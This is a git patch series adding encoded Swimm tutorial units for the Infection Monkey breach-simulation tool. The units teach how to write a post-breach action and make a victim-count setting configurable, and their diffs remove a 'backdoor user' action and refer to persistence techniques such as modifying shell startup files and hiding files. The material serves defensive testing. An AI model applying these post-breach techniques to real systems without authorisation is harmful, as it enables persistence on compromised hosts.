+ "description": "JTIzJTIwV2h5JTIwY29uZmlnJTBBJTBBVE9ETyUwQSUwQSUyMyUyMFdoYXQlMjBpcyUyMCUyMk1heCUyMHZpY3RpbSUyMG51bWJlciUyMiUwQSUwQVRPRE8lMEElMEElMjMlMjBDaGVjayUyMHlvdXJzZWxmJTIwYmVmb3JlJTIweW91JTIwd3JlY2slMjB5b3Vyc2VsZiUwQSUwQTEuJTIwQWZ0ZXIlMjB5b3UndmUlMjBkb25lJTIwdGhlJTIwY2hhbmdlcyUyQyUyMHJlbG9hZCUyMHRoZSUyMFNlcnZlciUyMGFuZCUyMGNoZWNrJTIweW91ciUyMHZhbHVlJTIwZXhpc3RzJTIwaW4lMjB0aGUlMjBJbnRlcm5hbCUyMHRhYiUyMG9mJTIwdGhlJTIwY29uZmlnJTIwKHNlZSUyMGltYWdlKSUwQTEuJTIwUnVuJTIwTW9ua2V5JTIwd2l0aCUyMDElMjBpbiUyMHRoZSUyMG5ldyUyMHZhbHVlJTIwKGNvbmZpZ3VyZWQpJTIwYW5kJTIwc2VlJTIwdGhhdCUyMGl0JTIwb25seSUyMHNjYW5zJTIwb25lJTIwbWFjaGluZS4lMEElMEEhJTVCY29uZmlnJTIwaW1hZ2UlNUQoaHR0cHMlM0ElMkYlMkZzdGFnaW5nLWNvdnV5aWN1LmtpbnN0YS5jbG91ZCUyRmluZmVjdGlvbm1vbmtleSUyRmRvY3MlMkZpbWFnZXMlMkZ1c2FnZSUyRnNjZW5hcmlvcyUyRnBiYS1leGFtcGxlLnBuZyk=",
+ "dod": "TWFrZSUyMHRoZSUyMG1heCUyMHZpY3RpbSUyMG51bWJlciUyMGNvbmZpZ3VyYWJsZSUyMGJ5JTIwdGhlJTIwdXNlcg==",
+ "summary": "KiUyMFdoZW4lMjBjaGFuZ2luZyUyMGNvbmZpZyUyMHNjaGVtYSUyMGJ5JTIwYWRkaW5nJTIwb3IlMjBkZWxldGluZyUyMGtleXMlMkMlMjB5b3UlMjBuZWVkJTIwdG8lMjB1cGRhdGUlMjB0aGUlMjBCbGFja2JveCUyMFRlc3QlMjBjb25maWd1cmF0aW9ucyUyMGFzJTIwd2VsbCUyMCU1QmhlcmUlNUQoaHR0cHMlM0ElMkYlMkZnaXRodWIuY29tJTJGZ3VhcmRpY29yZSUyRm1vbmtleSUyRnRyZWUlMkZkZXZlbG9wJTJGZW52cyUyRm1vbmtleV96b28lMkZibGFja2JveCUyRmlzbGFuZF9jb25maWdzKS4=",
+ "file_version": "1.0.2",
+ "app_version": "0.1.40"
+}
\ No newline at end of file
From a5f0f682ecd75a0f65828ee5611a941ab45ca78a Mon Sep 17 00:00:00 2001
From: Swimm
Date: Wed, 12 Aug 2020 15:29:57 +0300
Subject: [PATCH 03/81] Swimm: saved Unit 'Simple Post Breach action - CLI
commands only' (tbxb2cGgUiJQ8Btma0fp)
---
.swm/tbxb2cGgUiJQ8Btma0fp.swm | 88 +++++++++++++++++++++++++++++++++++
1 file changed, 88 insertions(+)
create mode 100644 .swm/tbxb2cGgUiJQ8Btma0fp.swm
diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm
new file mode 100644
index 000000000..11e1303a4
--- /dev/null
+++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm
@@ -0,0 +1,88 @@
+{
+ "id": "tbxb2cGgUiJQ8Btma0fp",
+ "name": "Simple Post Breach action - CLI commands only",
+ "tests": [],
+ "hints": [
+ "See `Communicate as new user` PBA for an example.",
+ "Make sure to add the PBA to the configuration as well"
+ ],
+ "files": {
+ "monkey/common/data/post_breach_consts.py": {
+ "index": [
+ "c3bba995..2bd4582f",
+ "100644"
+ ],
+ "fileA": "monkey/common/data/post_breach_consts.py",
+ "fileB": "monkey/common/data/post_breach_consts.py",
+ "status": "MODIFIED",
+ "numLineDeletions": 1,
+ "numLineAdditions": 0,
+ "hunkContainers": [
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTIwJTNEJTIwJTVDJTIyQ29tbXVuaWNhdGUlMjBhcyUyMG5ldyUyMHVzZXIlNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyMCUzRCUyMCU1QyUyMkJhY2tkb29yJTIwdXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCU1QyUyMkZpbGUlMjBleGVjdXRpb24lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTVDJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCU1QyUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E0JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNCU3RCU3RCU3RCU3RA=="
+ ]
+ },
+ "monkey/infection_monkey/post_breach/actions/add_user.py": {
+ "index": [
+ "58be89a1..1e915d2e",
+ "100644"
+ ],
+ "fileA": "monkey/infection_monkey/post_breach/actions/add_user.py",
+ "fileB": "monkey/infection_monkey/post_breach/actions/add_user.py",
+ "status": "MODIFIED",
+ "numLineDeletions": 9,
+ "numLineAdditions": 1,
+ "hunkContainers": [
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDMTUlMjAlMkIxJTJDNyUyMCU0MCU0MCUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMmZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnBvc3RfYnJlYWNoLnBiYSUyMGltcG9ydCUyMFBCQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnV0aWxzLnVzZXJzJTIwaW1wb3J0JTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNCUyQyUyMmIlMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNiUyQyUyMmIlMjIlM0E0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwY2xhc3MlMjBCYWNrZG9vclVzZXIoUEJBKSUzQSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTclMkMlMjJiJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOCUyQyUyMmIlMjIlM0E2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZHMlMkMlMjB3aW5kb3dzX2NtZHMlMjAlM0QlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIoJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi51c2VyX3RvX2FkZCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFdvcm1Db25maWd1cmF0aW9uLnJlbW90ZV91c2VyX3Bhc3MpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBhc3MlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0E3JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0ExNSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTclN0QlN0QlN0QlN0Q="
+ ]
+ },
+ "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": {
+ "index": [
+ "086a1c13..ae78173d",
+ "100644"
+ ],
+ "fileA": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py",
+ "fileB": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py",
+ "status": "MODIFIED",
+ "numLineDeletions": 3,
+ "numLineAdditions": 2,
+ "hunkContainers": [
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy5hdHRhY2sudGVjaG5pcXVlX3JlcG9ydHMucGJhX3RlY2huaXF1ZSUyMGltcG9ydCUyMCU1QyU1QyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlMkMlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMFBvc3RCcmVhY2hUZWNobmlxdWUlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0JTJDJTIyYiUyMiUzQTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTQlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E0JTdEJTdEJTdEJTdE",
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMCUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHVuc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjBkaWRuJ3QlMjB0cnklMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTJDJTIyYiUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlMkMlMjJiJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB1c2VkX21zZyUyMCUzRCUyMCU1QyUyMk1vbmtleSUyMGNyZWF0ZWQlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwbmV0d29yaydzJTIwc3lzdGVtcy4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyUyQyUyMmIlMjIlM0ExMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTMlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E0JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTEwJTJDJTIybGluZXNDb3VudCUyMiUzQTQlN0QlN0QlN0QlN0Q="
+ ]
+ },
+ "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": {
+ "index": [
+ "f3e2a9bf..efd1c1d5",
+ "100644"
+ ],
+ "fileA": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
+ "fileB": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
+ "status": "MODIFIED",
+ "numLineDeletions": 9,
+ "numLineAdditions": 0,
+ "hunkContainers": [
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC00JTJDMTUlMjAlMkI0JTJDNiUyMCU0MCU0MCUyMFBPU1RfQlJFQUNIX0FDVElPTlMlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIybWlnaHQlMjBkbyUyMGFmdGVyJTIwYnJlYWNoaW5nJTIwYSUyMG5ldyUyMG1hY2hpbmUuJTIwVXNlZCUyMGluJTIwQVRUJTI2Q0slMjBhbmQlMjBaZXJvJTIwdHJ1c3QlMjByZXBvcnRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlNUMlMjJhbnlPZiU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTYlMkMlMjJiJTIyJTNBNiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMkJhY2tkb29yVXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyQmFjayUyMGRvb3IlMjB1c2VyJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyaW5mbyU1QyUyMiUzQSUyMCU1QyUyMkF0dGVtcHRzJTIwdG8lMjBjcmVhdGUlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwc3lzdGVtJTIwYW5kJTIwZGVsZXRlJTIwaXQlMjBhZnRlcndhcmRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmF0dGFja190ZWNobmlxdWVzJTVDJTIyJTNBJTIwJTVCJTVDJTIyVDExMzYlNUMlMjIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE2JTJDJTIyYiUyMiUzQTclN0QlN0QlMkMlN0IlMjJ0eXBl